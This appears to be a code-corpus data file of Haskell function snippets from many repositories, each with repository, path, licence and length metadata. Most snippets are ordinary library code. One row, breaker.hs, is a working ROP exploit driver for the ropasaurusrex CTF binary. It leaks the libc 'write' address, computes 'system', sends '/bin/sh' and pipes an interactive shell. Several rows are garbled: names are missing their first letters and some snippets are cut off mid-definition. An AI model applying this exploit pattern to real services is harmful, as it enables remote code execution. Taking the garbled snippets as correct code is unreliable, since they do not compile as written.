:: (Monad m, Ord a) => a -> (BTree a) -> m (BTree a)
insert val v2
= do case v2 of
T val Empty Empty
| val == val -> return Empty
| otherwise ->
return (T val Empty (T val Empty Empty))
T val (T val2 Empty Empty) Empty -> return Empty
_ -> return v2 | 372 | insert val v2
= do case v2 of
T val Empty Empty
| val == val -> return Empty
| otherwise ->
return (T val Empty (T val Empty Empty))
T val (T val2 Empty Empty) Empty -> return Empty
_ -> return v2 | 308 | false | true | 0 | 16 | 176 | 158 | 73 | 85 | null | null |
vincenthz/hs-crypto-random-api | Crypto/Random/API.hs | bsd-3-clause | -- | Get a random number generator based on the standard system entropy source
getSystemRandomGen :: IO SystemRandom
getSystemRandomGen = do
ch <- SE.openHandle
let getBS = unsafeInterleaveIO $ do
bs <- SE.hGetEntropy ch 8192
more <- getBS
return (bs:more)
SystemRandom <$> getBS | 317 | getSystemRandomGen :: IO SystemRandom
getSystemRandomGen = do
ch <- SE.openHandle
let getBS = unsafeInterleaveIO $ do
bs <- SE.hGetEntropy ch 8192
more <- getBS
return (bs:more)
SystemRandom <$> getBS | 238 | getSystemRandomGen = do
ch <- SE.openHandle
let getBS = unsafeInterleaveIO $ do
bs <- SE.hGetEntropy ch 8192
more <- getBS
return (bs:more)
SystemRandom <$> getBS | 200 | true | true | 0 | 15 | 80 | 78 | 36 | 42 | null | null |
siddhanathan/ghc | compiler/hsSyn/HsExpr.hs | bsd-3-clause | ppr_expr (HsSingleRecFld f) = ppr f | 35 | ppr_expr (HsSingleRecFld f) = ppr f | 35 | ppr_expr (HsSingleRecFld f) = ppr f | 35 | false | false | 0 | 7 | 5 | 18 | 8 | 10 | null | null |
ardumont/haskell-platform | hptool/src/ReleaseFiles.hs | bsd-3-clause | src :: Url -> Maybe Hash -> FileInfo
src u mh = (DistSource, u, mh) | 67 | src :: Url -> Maybe Hash -> FileInfo
src u mh = (DistSource, u, mh) | 67 | src u mh = (DistSource, u, mh) | 30 | false | true | 0 | 8 | 14 | 42 | 20 | 22 | null | null |
tdfirth/lambda | src/Lambda/Parse.hs | mit | parseString :: Parser LispVal
parseString = do
char '"'
x <- many $ escapedChars <|> noneOf "\"\\"
char '"'
return $ String x | 133 | parseString :: Parser LispVal
parseString = do
char '"'
x <- many $ escapedChars <|> noneOf "\"\\"
char '"'
return $ String x | 133 | parseString = do
char '"'
x <- many $ escapedChars <|> noneOf "\"\\"
char '"'
return $ String x | 103 | false | true | 1 | 10 | 30 | 58 | 23 | 35 | null | null |
music-suite/music-score | src/Music/Time/Types.hs | bsd-3-clause | -- |
-- Whether the given span has a negative duration, i.e. whether its 'offset' is before its 'onset'.
--
isBackwardSpan :: Span -> Bool
isBackwardSpan = (< 0) . signum . _durationS | 183 | isBackwardSpan :: Span -> Bool
isBackwardSpan = (< 0) . signum . _durationS | 75 | isBackwardSpan = (< 0) . signum . _durationS | 44 | true | true | 1 | 7 | 32 | 37 | 19 | 18 | null | null |
m-alvarez/jhc | src/Ho/ReadSource.hs | mit | preprocessHs :: Opt -> FilePath -> LBS.ByteString -> IO LBS.ByteString
preprocessHs options fn lbs = preprocess (fst $ collectFileOpts options fn (LBSU.toString $ LBS.take 2048 lbs)) fn lbs | 189 | preprocessHs :: Opt -> FilePath -> LBS.ByteString -> IO LBS.ByteString
preprocessHs options fn lbs = preprocess (fst $ collectFileOpts options fn (LBSU.toString $ LBS.take 2048 lbs)) fn lbs | 189 | preprocessHs options fn lbs = preprocess (fst $ collectFileOpts options fn (LBSU.toString $ LBS.take 2048 lbs)) fn lbs | 118 | false | true | 0 | 12 | 27 | 78 | 37 | 41 | null | null |
grzegorzbalcerek/orgmode | Text.hs | bsd-2-clause | srcSize "1" _ = "Huge" | 22 | srcSize "1" _ = "Huge" | 22 | srcSize "1" _ = "Huge" | 22 | false | false | 0 | 5 | 4 | 11 | 5 | 6 | null | null |
wavewave/hxournal | lib/Application/HXournal/Type/Undo.hs | bsd-2-clause | ingletonUndo :: Int -> a -> UndoTable a
singletonUndo n e = addToUndo (emptyUndo n) e
| 87 | singletonUndo :: Int -> a -> UndoTable a
singletonUndo n e = addToUndo (emptyUndo n) e | 86 | singletonUndo n e = addToUndo (emptyUndo n) e | 45 | false | true | 0 | 8 | 17 | 42 | 19 | 23 | null | null |
ancientlanguage/haskell-analysis | prepare/src/Prepare/Perseus/TeiEpidocUnify.hs | mit | getQuoteContents :: Quote -> [Either Primary.Milestone Text]
getQuoteContents (Quote _ ls) = Right " " : concatMap getQuoteLineContents ls ++ [Right " "] | 153 | getQuoteContents :: Quote -> [Either Primary.Milestone Text]
getQuoteContents (Quote _ ls) = Right " " : concatMap getQuoteLineContents ls ++ [Right " "] | 153 | getQuoteContents (Quote _ ls) = Right " " : concatMap getQuoteLineContents ls ++ [Right " "] | 92 | false | true | 0 | 8 | 22 | 58 | 28 | 30 | null | null |
AccelerateHS/accelerate-cuda | Data/Array/Accelerate/CUDA/Analysis/Launch.hs | bsd-3-clause | sharedMem _ Stencil2{} _ = 0 | 44 | sharedMem _ Stencil2{} _ = 0 | 44 | sharedMem _ Stencil2{} _ = 0 | 44 | false | false | 1 | 5 | 21 | 17 | 8 | 9 | null | null |
AntonXue/SSTG | src/SSTG/Core/Execution/Engine.hs | bsd-3-clause | traceArgs :: [Var] -> Expr -> Locals -> Globals -> Heap -> [Var]
traceArgs base expr locals globals heap
| FunApp var [] <- expr
, Just (_, hobj) <- vlookupHeap var locals globals heap
, FunObj params _ _ <- hobj
, length params > 0
, length base == 0 = params
| otherwise = base | 292 | traceArgs :: [Var] -> Expr -> Locals -> Globals -> Heap -> [Var]
traceArgs base expr locals globals heap
| FunApp var [] <- expr
, Just (_, hobj) <- vlookupHeap var locals globals heap
, FunObj params _ _ <- hobj
, length params > 0
, length base == 0 = params
| otherwise = base | 292 | traceArgs base expr locals globals heap
| FunApp var [] <- expr
, Just (_, hobj) <- vlookupHeap var locals globals heap
, FunObj params _ _ <- hobj
, length params > 0
, length base == 0 = params
| otherwise = base | 227 | false | true | 1 | 10 | 70 | 136 | 66 | 70 | null | null |
elliottt/huff | src/Huff/QQ.hs | bsd-3-clause | liftTerm (TOr ts) = [| TOr $(listE (map liftTerm ts)) |] | 60 | liftTerm (TOr ts) = [| TOr $(listE (map liftTerm ts)) |] | 60 | liftTerm (TOr ts) = [| TOr $(listE (map liftTerm ts)) |] | 60 | false | false | 0 | 6 | 14 | 19 | 10 | 9 | null | null |
mgaut72/cbf | src/Language/BrainFuck/Compile.hs | mit | convert Out = "printf(\"%c\", mem[p]);\n" | 46 | convert Out = "printf(\"%c\", mem[p]);\n" | 46 | convert Out = "printf(\"%c\", mem[p]);\n" | 46 | false | false | 0 | 5 | 9 | 9 | 4 | 5 | null | null |
d0kt0r0/Tidal | src/Sound/Tidal/Params.hs | gpl-3.0 | slider16 :: Pattern Double -> ControlPattern
slider16 = pF "slider16" | 69 | slider16 :: Pattern Double -> ControlPattern
slider16 = pF "slider16" | 69 | slider16 = pF "slider16" | 24 | false | true | 0 | 6 | 9 | 21 | 10 | 11 | null | null |
ftomassetti/world-explorer | src/Main.hs | apache-2.0 | display :: ElevationMap -> Int -> Int -> IORef GLfloat -> IORef (GLfloat, GLfloat) -> DisplayCallback
display elevMap width height angle pos = do
let quads = findQuads elevMap width height
clear [ ColorBuffer, DepthBuffer ]
clear [ ColorBuffer ]
loadIdentity
(x',y') <- get pos
-- translate $ Vector3 x' 0 y'
loadIdentity
preservingMatrix $ do
a <- get angle
rotate a $ Vector3 0 1 1
-- rotate a $ Vector3 0 0.1 1 -- changed y-component a bit to show off cube corners
scale 0.7 0.7 (0.7::GLfloat)
preservingMatrix $ do
renderPrimitive Quads $
mapM_ drawColoredQuad quads
swapBuffers
--renderPrimitive Points $
-- mapM_ drawColoredPoint points
flush | 729 | display :: ElevationMap -> Int -> Int -> IORef GLfloat -> IORef (GLfloat, GLfloat) -> DisplayCallback
display elevMap width height angle pos = do
let quads = findQuads elevMap width height
clear [ ColorBuffer, DepthBuffer ]
clear [ ColorBuffer ]
loadIdentity
(x',y') <- get pos
-- translate $ Vector3 x' 0 y'
loadIdentity
preservingMatrix $ do
a <- get angle
rotate a $ Vector3 0 1 1
-- rotate a $ Vector3 0 0.1 1 -- changed y-component a bit to show off cube corners
scale 0.7 0.7 (0.7::GLfloat)
preservingMatrix $ do
renderPrimitive Quads $
mapM_ drawColoredQuad quads
swapBuffers
--renderPrimitive Points $
-- mapM_ drawColoredPoint points
flush | 729 | display elevMap width height angle pos = do
let quads = findQuads elevMap width height
clear [ ColorBuffer, DepthBuffer ]
clear [ ColorBuffer ]
loadIdentity
(x',y') <- get pos
-- translate $ Vector3 x' 0 y'
loadIdentity
preservingMatrix $ do
a <- get angle
rotate a $ Vector3 0 1 1
-- rotate a $ Vector3 0 0.1 1 -- changed y-component a bit to show off cube corners
scale 0.7 0.7 (0.7::GLfloat)
preservingMatrix $ do
renderPrimitive Quads $
mapM_ drawColoredQuad quads
swapBuffers
--renderPrimitive Points $
-- mapM_ drawColoredPoint points
flush | 627 | false | true | 0 | 14 | 187 | 202 | 92 | 110 | null | null |
jimsnow/glome | GlomeVec/Data/Glome/Vec.hs | gpl-2.0 | -- TRIANGLE UTILITY FUNCTIONS --
-- | Given a side, angle, and side of a triangle, produce the length of the
-- opposite side.
sas2s :: Flt -> Flt -> Flt -> Flt
sas2s s1 a s2 =
sqrt (((s1 * s1) + (s2 * s2)) - ((2 * s1 * s2 * (dcos a)))) | 240 | sas2s :: Flt -> Flt -> Flt -> Flt
sas2s s1 a s2 =
sqrt (((s1 * s1) + (s2 * s2)) - ((2 * s1 * s2 * (dcos a)))) | 111 | sas2s s1 a s2 =
sqrt (((s1 * s1) + (s2 * s2)) - ((2 * s1 * s2 * (dcos a)))) | 77 | true | true | 0 | 12 | 58 | 88 | 48 | 40 | null | null |
snowleopard/alga | src/Algebra/Graph/AdjacencyIntMap.hs | mit | -- | Construct the graph comprising /a single isolated vertex/.
--
-- @
-- 'isEmpty' (vertex x) == False
-- 'hasVertex' x (vertex y) == (x == y)
-- 'vertexCount' (vertex x) == 1
-- 'edgeCount' (vertex x) == 0
-- @
vertex :: Int -> AdjacencyIntMap
vertex x = AM $ IntMap.singleton x IntSet.empty | 300 | vertex :: Int -> AdjacencyIntMap
vertex x = AM $ IntMap.singleton x IntSet.empty | 80 | vertex x = AM $ IntMap.singleton x IntSet.empty | 47 | true | true | 0 | 7 | 60 | 39 | 23 | 16 | null | null |
rahulmutt/ghcvm | compiler/Eta/Utils/GraphOps.hs | bsd-3-clause | -- | Delete a coalescence edge (k1 -> k2) from the graph.
delCoalesce
:: Uniquable k
=> k -> k
-> Graph k cls color -> Maybe (Graph k cls color)
delCoalesce k1 k2
= modNode (\node -> node { nodeCoalesce = delOneFromUniqSet (nodeCoalesce node) k2 })
k1 | 303 | delCoalesce
:: Uniquable k
=> k -> k
-> Graph k cls color -> Maybe (Graph k cls color)
delCoalesce k1 k2
= modNode (\node -> node { nodeCoalesce = delOneFromUniqSet (nodeCoalesce node) k2 })
k1 | 244 | delCoalesce k1 k2
= modNode (\node -> node { nodeCoalesce = delOneFromUniqSet (nodeCoalesce node) k2 })
k1 | 130 | true | true | 0 | 12 | 99 | 88 | 44 | 44 | null | null |
daewon/til | exercism/haskell/list-ops/src/ListOps.hs | mpl-2.0 | reverse :: [a] -> [a]
reverse = foldl (\acc a -> a : acc) [] | 60 | reverse :: [a] -> [a]
reverse = foldl (\acc a -> a : acc) [] | 60 | reverse = foldl (\acc a -> a : acc) [] | 38 | false | true | 0 | 8 | 14 | 42 | 23 | 19 | null | null |
wxwxwwxxx/ghc | testsuite/tests/typecheck/should_compile/tc193.hs | bsd-3-clause | iftl :: Signal a -> Symbol
liftl (Signal a) = a | 48 | liftl :: Signal a -> Symbol
liftl (Signal a) = a | 48 | liftl (Signal a) = a | 20 | false | true | 0 | 7 | 11 | 27 | 13 | 14 | null | null |
bamboo/idris-cil | src/IRTS/CodegenCil.hs | bsd-3-clause | boxDouble64, boxFloat32, boxInt32, boxChar, boxBoolean :: Instruction
boxDouble64 = box Double64 | 96 | boxDouble64, boxFloat32, boxInt32, boxChar, boxBoolean :: Instruction
boxDouble64 = box Double64 | 96 | boxDouble64 = box Double64 | 26 | false | true | 0 | 5 | 10 | 22 | 15 | 7 | null | null |
laanwj/Purecoin | Purecoin/Core/Script.hs | mit | opView (OP_PUSHDATA4 ws) = Left (WS.toByteString ws) | 52 | opView (OP_PUSHDATA4 ws) = Left (WS.toByteString ws) | 52 | opView (OP_PUSHDATA4 ws) = Left (WS.toByteString ws) | 52 | false | false | 0 | 8 | 6 | 26 | 12 | 14 | null | null |
phylake/avm3 | llvm/emitter.hs | mit | toLLVMOps (IfGreaterThan t f:ops) = do
(t1:t2:[]) <- lastRs 2
i1 <- nextR Bool
returnR ops
[
Comment $ "IfGreaterThan " ++ show t ++ " " ++ show f
-- TODO sign
, Icmp i1 UGT t1 t2
, Br $ Conditional i1 t f
] | 241 | toLLVMOps (IfGreaterThan t f:ops) = do
(t1:t2:[]) <- lastRs 2
i1 <- nextR Bool
returnR ops
[
Comment $ "IfGreaterThan " ++ show t ++ " " ++ show f
-- TODO sign
, Icmp i1 UGT t1 t2
, Br $ Conditional i1 t f
] | 241 | toLLVMOps (IfGreaterThan t f:ops) = do
(t1:t2:[]) <- lastRs 2
i1 <- nextR Bool
returnR ops
[
Comment $ "IfGreaterThan " ++ show t ++ " " ++ show f
-- TODO sign
, Icmp i1 UGT t1 t2
, Br $ Conditional i1 t f
] | 241 | false | false | 0 | 12 | 80 | 114 | 54 | 60 | null | null |
purefn/hipbot | src/HipBot/Descriptor.hs | bsd-3-clause | webhook :: AbsoluteURI -> RoomEvent -> Webhook
webhook url = Webhook url Nothing | 80 | webhook :: AbsoluteURI -> RoomEvent -> Webhook
webhook url = Webhook url Nothing | 80 | webhook url = Webhook url Nothing | 33 | false | true | 0 | 8 | 12 | 32 | 14 | 18 | null | null |
olorin/amazonka | amazonka-ds/gen/Network/AWS/DirectoryService/DeleteSnapshot.hs | mpl-2.0 | -- | The response status code.
dsrsResponseStatus :: Lens' DeleteSnapshotResponse Int
dsrsResponseStatus = lens _dsrsResponseStatus (\ s a -> s{_dsrsResponseStatus = a}) | 169 | dsrsResponseStatus :: Lens' DeleteSnapshotResponse Int
dsrsResponseStatus = lens _dsrsResponseStatus (\ s a -> s{_dsrsResponseStatus = a}) | 138 | dsrsResponseStatus = lens _dsrsResponseStatus (\ s a -> s{_dsrsResponseStatus = a}) | 83 | true | true | 0 | 9 | 21 | 40 | 22 | 18 | null | null |
ztuowen/sudoku | SudokuAmb.hs | mit | solveStr :: [Int] -> [Int]
solveStr = (getout 0). head . solve . fill . (getin 0) | 81 | solveStr :: [Int] -> [Int]
solveStr = (getout 0). head . solve . fill . (getin 0) | 81 | solveStr = (getout 0). head . solve . fill . (getin 0) | 54 | false | true | 0 | 10 | 16 | 56 | 27 | 29 | null | null |
hy00un/hy00un.github.io | binary/ropasaurusrex-master/breaker.hs | mit | -- Send system() the addr that we stored
-- the "/bin/sh" string in.
main :: IO ()
main = do
BL.hPutStr stderr "\n"
BL.hPutStr stderr "---------------\n"
BL.hPutStr stderr "-- Started. --\n"
BL.hPutStr stderr "---------------\n\n"
-- open the ropasaurauxrex binary
(processStdin, processStdout, _ :: Handle, processHandle) <- streamingProcess $
shell "./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d"
-- send the exploit to ropasaurusrex's stdin
yield (BL.toStrict paddedExploit) $$ processStdin
-- read the addr of write in libc from ropasaurusrex's stdout
writeAddrRaw <- fromJust <$> (processStdout $$ CL.head)
-- calculate the value of 'system' based on the value of 'write'
let writeAddr = toAddr . decode $ BL.fromStrict writeAddrRaw
let systemAddr = toAddr (writeAddr - systemOffset)
putStrLn $ showHex writeAddr ""
putStrLn $ showHex systemOffset ""
putStrLn $ showHex (toAddr systemAddr) ""
-- send the calculated address of 'system' to ropasaurusrex's stdin
yield (BL.toStrict $ encode systemAddr) $$ processStdin
-- send the @/bin/sh@ string to ropasaurusrex's stdin
yield "/bin/sh\0" $$ processStdin
-- make two conduits that feed breaker.hs's stdin to ropasaurusrex's
-- stdin, and ropasaurusrex's stdout to breaker.hs's stdout. This lets us
-- easily control the shell that will spawn.
-- let input = CB.sourceHandle stdin $$ processStdin
let stdinToRopasaurusrexStdin = stdin $$ processStdin
ropasaurusrexStdoutToStdout = processStdout $$ stdout
-- run our input and output conduits concurrently
exitCode <- runConcurrently $
Concurrently stdinToRopasaurusrexStdin *>
Concurrently ropasaurusrexStdoutToStdout *>
Concurrently (waitForStreamingProcess processHandle)
putStrLn $ "exitCode: " <> show exitCode
BL.hPutStr stderr "\n"
BL.hPutStr stderr "---------------\n"
BL.hPutStr stderr "-- Finished. --\n"
BL.hPutStr stderr "---------------\n\n" | 2,122 | main :: IO ()
main = do
BL.hPutStr stderr "\n"
BL.hPutStr stderr "---------------\n"
BL.hPutStr stderr "-- Started. --\n"
BL.hPutStr stderr "---------------\n\n"
-- open the ropasaurauxrex binary
(processStdin, processStdout, _ :: Handle, processHandle) <- streamingProcess $
shell "./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d"
-- send the exploit to ropasaurusrex's stdin
yield (BL.toStrict paddedExploit) $$ processStdin
-- read the addr of write in libc from ropasaurusrex's stdout
writeAddrRaw <- fromJust <$> (processStdout $$ CL.head)
-- calculate the value of 'system' based on the value of 'write'
let writeAddr = toAddr . decode $ BL.fromStrict writeAddrRaw
let systemAddr = toAddr (writeAddr - systemOffset)
putStrLn $ showHex writeAddr ""
putStrLn $ showHex systemOffset ""
putStrLn $ showHex (toAddr systemAddr) ""
-- send the calculated address of 'system' to ropasaurusrex's stdin
yield (BL.toStrict $ encode systemAddr) $$ processStdin
-- send the @/bin/sh@ string to ropasaurusrex's stdin
yield "/bin/sh\0" $$ processStdin
-- make two conduits that feed breaker.hs's stdin to ropasaurusrex's
-- stdin, and ropasaurusrex's stdout to breaker.hs's stdout. This lets us
-- easily control the shell that will spawn.
-- let input = CB.sourceHandle stdin $$ processStdin
let stdinToRopasaurusrexStdin = stdin $$ processStdin
ropasaurusrexStdoutToStdout = processStdout $$ stdout
-- run our input and output conduits concurrently
exitCode <- runConcurrently $
Concurrently stdinToRopasaurusrexStdin *>
Concurrently ropasaurusrexStdoutToStdout *>
Concurrently (waitForStreamingProcess processHandle)
putStrLn $ "exitCode: " <> show exitCode
BL.hPutStr stderr "\n"
BL.hPutStr stderr "---------------\n"
BL.hPutStr stderr "-- Finished. --\n"
BL.hPutStr stderr "---------------\n\n" | 2,015 | main = do
BL.hPutStr stderr "\n"
BL.hPutStr stderr "---------------\n"
BL.hPutStr stderr "-- Started. --\n"
BL.hPutStr stderr "---------------\n\n"
-- open the ropasaurauxrex binary
(processStdin, processStdout, _ :: Handle, processHandle) <- streamingProcess $
shell "./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d"
-- send the exploit to ropasaurusrex's stdin
yield (BL.toStrict paddedExploit) $$ processStdin
-- read the addr of write in libc from ropasaurusrex's stdout
writeAddrRaw <- fromJust <$> (processStdout $$ CL.head)
-- calculate the value of 'system' based on the value of 'write'
let writeAddr = toAddr . decode $ BL.fromStrict writeAddrRaw
let systemAddr = toAddr (writeAddr - systemOffset)
putStrLn $ showHex writeAddr ""
putStrLn $ showHex systemOffset ""
putStrLn $ showHex (toAddr systemAddr) ""
-- send the calculated address of 'system' to ropasaurusrex's stdin
yield (BL.toStrict $ encode systemAddr) $$ processStdin
-- send the @/bin/sh@ string to ropasaurusrex's stdin
yield "/bin/sh\0" $$ processStdin
-- make two conduits that feed breaker.hs's stdin to ropasaurusrex's
-- stdin, and ropasaurusrex's stdout to breaker.hs's stdout. This lets us
-- easily control the shell that will spawn.
-- let input = CB.sourceHandle stdin $$ processStdin
let stdinToRopasaurusrexStdin = stdin $$ processStdin
ropasaurusrexStdoutToStdout = processStdout $$ stdout
-- run our input and output conduits concurrently
exitCode <- runConcurrently $
Concurrently stdinToRopasaurusrexStdin *>
Concurrently ropasaurusrexStdoutToStdout *>
Concurrently (waitForStreamingProcess processHandle)
putStrLn $ "exitCode: " <> show exitCode
BL.hPutStr stderr "\n"
BL.hPutStr stderr "---------------\n"
BL.hPutStr stderr "-- Finished. --\n"
BL.hPutStr stderr "---------------\n\n" | 2,001 | true | true | 0 | 13 | 496 | 368 | 171 | 197 | null | null |
brendanhay/gogol | gogol-healthcare/gen/Network/Google/Resource/Healthcare/Projects/Locations/DataSets/FhirStores/Fhir/Patch.hs | mpl-2.0 | -- | Multipart request metadata.
pldsfsfpPayload :: Lens' ProjectsLocationsDataSetsFhirStoresFhirPatch HTTPBody
pldsfsfpPayload
= lens _pldsfsfpPayload
(\ s a -> s{_pldsfsfpPayload = a}) | 194 | pldsfsfpPayload :: Lens' ProjectsLocationsDataSetsFhirStoresFhirPatch HTTPBody
pldsfsfpPayload
= lens _pldsfsfpPayload
(\ s a -> s{_pldsfsfpPayload = a}) | 161 | pldsfsfpPayload
= lens _pldsfsfpPayload
(\ s a -> s{_pldsfsfpPayload = a}) | 82 | true | true | 1 | 9 | 28 | 46 | 22 | 24 | null | null |
drmaruyama/Paraiso | attic/TestAdditiveTensor.hs | bsd-3-clause | s_ :: (Vector v, Additive.C a) => (Axis v -> a) -> a
s_ = contract | 66 | s_ :: (Vector v, Additive.C a) => (Axis v -> a) -> a
s_ = contract | 66 | s_ = contract | 13 | false | true | 0 | 10 | 15 | 49 | 23 | 26 | null | null |
rolph-recto/liquidhaskell | src/Language/Haskell/Liquid/Parse.hs | bsd-3-clause | bareAtomNoAppP
= refP bbaseNoAppP
<|> try (dummyP (bbaseNoAppP <* spaces)) | 78 | bareAtomNoAppP
= refP bbaseNoAppP
<|> try (dummyP (bbaseNoAppP <* spaces)) | 78 | bareAtomNoAppP
= refP bbaseNoAppP
<|> try (dummyP (bbaseNoAppP <* spaces)) | 78 | false | false | 4 | 9 | 13 | 35 | 16 | 19 | null | null |
kmate/HaRe | old/testing/refacSlicing/Test17_TokOut.hs | bsd-3-clause | f x = (y + x)
where
y = 10 | 35 | f x = (y + x)
where
y = 10 | 35 | f x = (y + x)
where
y = 10 | 35 | false | false | 2 | 6 | 18 | 31 | 12 | 19 | null | null |
bjpop/berp | libs/src/Berp/Base/StdTypes/Bool.hs | bsd-3-clause | true, false :: Object
true =
constantIO $ do
identity <- newIdentity
return $ Bool { object_identity = identity, object_bool = True } | 148 | true, false :: Object
true =
constantIO $ do
identity <- newIdentity
return $ Bool { object_identity = identity, object_bool = True } | 148 | true =
constantIO $ do
identity <- newIdentity
return $ Bool { object_identity = identity, object_bool = True } | 126 | false | true | 4 | 10 | 37 | 57 | 26 | 31 | null | null |
olsner/sedition | IR.hs | mit | branchNextCyclePrint = () <$ (emitBranch' =<< gets nextCycleLabelPrint) | 71 | branchNextCyclePrint = () <$ (emitBranch' =<< gets nextCycleLabelPrint) | 71 | branchNextCyclePrint = () <$ (emitBranch' =<< gets nextCycleLabelPrint) | 71 | false | false | 1 | 9 | 7 | 26 | 11 | 15 | null | null |
5outh/Bang | src/Bang/Interface/Drum.hs | mit | lowWoodBlock :: Music PercussionSound
lowWoodBlock = qd LowWoodBlock | 68 | lowWoodBlock :: Music PercussionSound
lowWoodBlock = qd LowWoodBlock | 68 | lowWoodBlock = qd LowWoodBlock | 30 | false | true | 0 | 5 | 7 | 17 | 8 | 9 | null | null |
mcschroeder/ghc | compiler/typecheck/FamInst.hs | bsd-3-clause | checkFamInstConsistency :: [Module] -> [Module] -> TcM ()
checkFamInstConsistency famInstMods directlyImpMods
= do { dflags <- getDynFlags
; (eps, hpt) <- getEpsAndHpt
; let { -- Fetch the iface of a given module. Must succeed as
-- all directly imported modules must already have been loaded.
modIface mod =
case lookupIfaceByModule dflags hpt (eps_PIT eps) mod of
Nothing -> panicDoc "FamInst.checkFamInstConsistency"
(ppr mod $$ pprHPT hpt)
Just iface -> iface
; hmiModule = mi_module . hm_iface
; hmiFamInstEnv = extendFamInstEnvList emptyFamInstEnv
. md_fam_insts . hm_details
; hpt_fam_insts = mkModuleEnv [ (hmiModule hmi, hmiFamInstEnv hmi)
| hmi <- eltsUFM hpt]
; groups = map (dep_finsts . mi_deps . modIface)
directlyImpMods
; okPairs = listToSet $ concatMap allPairs groups
-- instances of okPairs are consistent
; criticalPairs = listToSet $ allPairs famInstMods
-- all pairs that we need to consider
; toCheckPairs = Map.keys $ criticalPairs `Map.difference` okPairs
-- the difference gives us the pairs we need to check now
}
; mapM_ (check hpt_fam_insts) toCheckPairs
}
where
allPairs [] = []
allPairs (m:ms) = map (ModulePair m) ms ++ allPairs ms
check hpt_fam_insts (ModulePair m1 m2)
= do { env1 <- getFamInsts hpt_fam_insts m1
; env2 <- getFamInsts hpt_fam_insts m2
; mapM_ (checkForConflicts (emptyFamInstEnv, env2))
(famInstEnvElts env1)
; mapM_ (checkForInjectivityConflicts (emptyFamInstEnv,env2))
(famInstEnvElts env1)
} | 1,991 | checkFamInstConsistency :: [Module] -> [Module] -> TcM ()
checkFamInstConsistency famInstMods directlyImpMods
= do { dflags <- getDynFlags
; (eps, hpt) <- getEpsAndHpt
; let { -- Fetch the iface of a given module. Must succeed as
-- all directly imported modules must already have been loaded.
modIface mod =
case lookupIfaceByModule dflags hpt (eps_PIT eps) mod of
Nothing -> panicDoc "FamInst.checkFamInstConsistency"
(ppr mod $$ pprHPT hpt)
Just iface -> iface
; hmiModule = mi_module . hm_iface
; hmiFamInstEnv = extendFamInstEnvList emptyFamInstEnv
. md_fam_insts . hm_details
; hpt_fam_insts = mkModuleEnv [ (hmiModule hmi, hmiFamInstEnv hmi)
| hmi <- eltsUFM hpt]
; groups = map (dep_finsts . mi_deps . modIface)
directlyImpMods
; okPairs = listToSet $ concatMap allPairs groups
-- instances of okPairs are consistent
; criticalPairs = listToSet $ allPairs famInstMods
-- all pairs that we need to consider
; toCheckPairs = Map.keys $ criticalPairs `Map.difference` okPairs
-- the difference gives us the pairs we need to check now
}
; mapM_ (check hpt_fam_insts) toCheckPairs
}
where
allPairs [] = []
allPairs (m:ms) = map (ModulePair m) ms ++ allPairs ms
check hpt_fam_insts (ModulePair m1 m2)
= do { env1 <- getFamInsts hpt_fam_insts m1
; env2 <- getFamInsts hpt_fam_insts m2
; mapM_ (checkForConflicts (emptyFamInstEnv, env2))
(famInstEnvElts env1)
; mapM_ (checkForInjectivityConflicts (emptyFamInstEnv,env2))
(famInstEnvElts env1)
} | 1,991 | checkFamInstConsistency famInstMods directlyImpMods
= do { dflags <- getDynFlags
; (eps, hpt) <- getEpsAndHpt
; let { -- Fetch the iface of a given module. Must succeed as
-- all directly imported modules must already have been loaded.
modIface mod =
case lookupIfaceByModule dflags hpt (eps_PIT eps) mod of
Nothing -> panicDoc "FamInst.checkFamInstConsistency"
(ppr mod $$ pprHPT hpt)
Just iface -> iface
; hmiModule = mi_module . hm_iface
; hmiFamInstEnv = extendFamInstEnvList emptyFamInstEnv
. md_fam_insts . hm_details
; hpt_fam_insts = mkModuleEnv [ (hmiModule hmi, hmiFamInstEnv hmi)
| hmi <- eltsUFM hpt]
; groups = map (dep_finsts . mi_deps . modIface)
directlyImpMods
; okPairs = listToSet $ concatMap allPairs groups
-- instances of okPairs are consistent
; criticalPairs = listToSet $ allPairs famInstMods
-- all pairs that we need to consider
; toCheckPairs = Map.keys $ criticalPairs `Map.difference` okPairs
-- the difference gives us the pairs we need to check now
}
; mapM_ (check hpt_fam_insts) toCheckPairs
}
where
allPairs [] = []
allPairs (m:ms) = map (ModulePair m) ms ++ allPairs ms
check hpt_fam_insts (ModulePair m1 m2)
= do { env1 <- getFamInsts hpt_fam_insts m1
; env2 <- getFamInsts hpt_fam_insts m2
; mapM_ (checkForConflicts (emptyFamInstEnv, env2))
(famInstEnvElts env1)
; mapM_ (checkForInjectivityConflicts (emptyFamInstEnv,env2))
(famInstEnvElts env1)
} | 1,933 | false | true | 1 | 16 | 758 | 436 | 221 | 215 | null | null |
kejace/ethereum-client-haskell | src/Blockchain/JCommand.hs | bsd-3-clause | jCommand2Op (ReturnCode (Code codeBytes)) = do
codeBegin <- getUnique "begin"
codeEnd <- getUnique "end"
return $
[
PUSHDIFF codeBegin codeEnd,
PUSHLABEL codeBegin,
PUSH [0],
CODECOPY,
PUSHDIFF codeBegin codeEnd,
PUSH [0],
RETURN
]
++ [LABEL codeBegin, DATA codeBytes, LABEL codeEnd] | 428 | jCommand2Op (ReturnCode (Code codeBytes)) = do
codeBegin <- getUnique "begin"
codeEnd <- getUnique "end"
return $
[
PUSHDIFF codeBegin codeEnd,
PUSHLABEL codeBegin,
PUSH [0],
CODECOPY,
PUSHDIFF codeBegin codeEnd,
PUSH [0],
RETURN
]
++ [LABEL codeBegin, DATA codeBytes, LABEL codeEnd] | 428 | jCommand2Op (ReturnCode (Code codeBytes)) = do
codeBegin <- getUnique "begin"
codeEnd <- getUnique "end"
return $
[
PUSHDIFF codeBegin codeEnd,
PUSHLABEL codeBegin,
PUSH [0],
CODECOPY,
PUSHDIFF codeBegin codeEnd,
PUSH [0],
RETURN
]
++ [LABEL codeBegin, DATA codeBytes, LABEL codeEnd] | 428 | false | false | 0 | 11 | 183 | 116 | 57 | 59 | null | null |
FranklinChen/music-score | src/Music/Time/Position.hs | bsd-3-clause | -- |
-- Align a value to a given position.
--
-- @placeAt p t@ places the given thing so that its position p is at time t
--
-- @
-- 'placeAt' 0 = 'startAt'
-- 'placeAt' 1 = 'stopAt'
-- @
--
placeAt :: (Transformable a, HasPosition a) => Duration -> Time -> a -> a
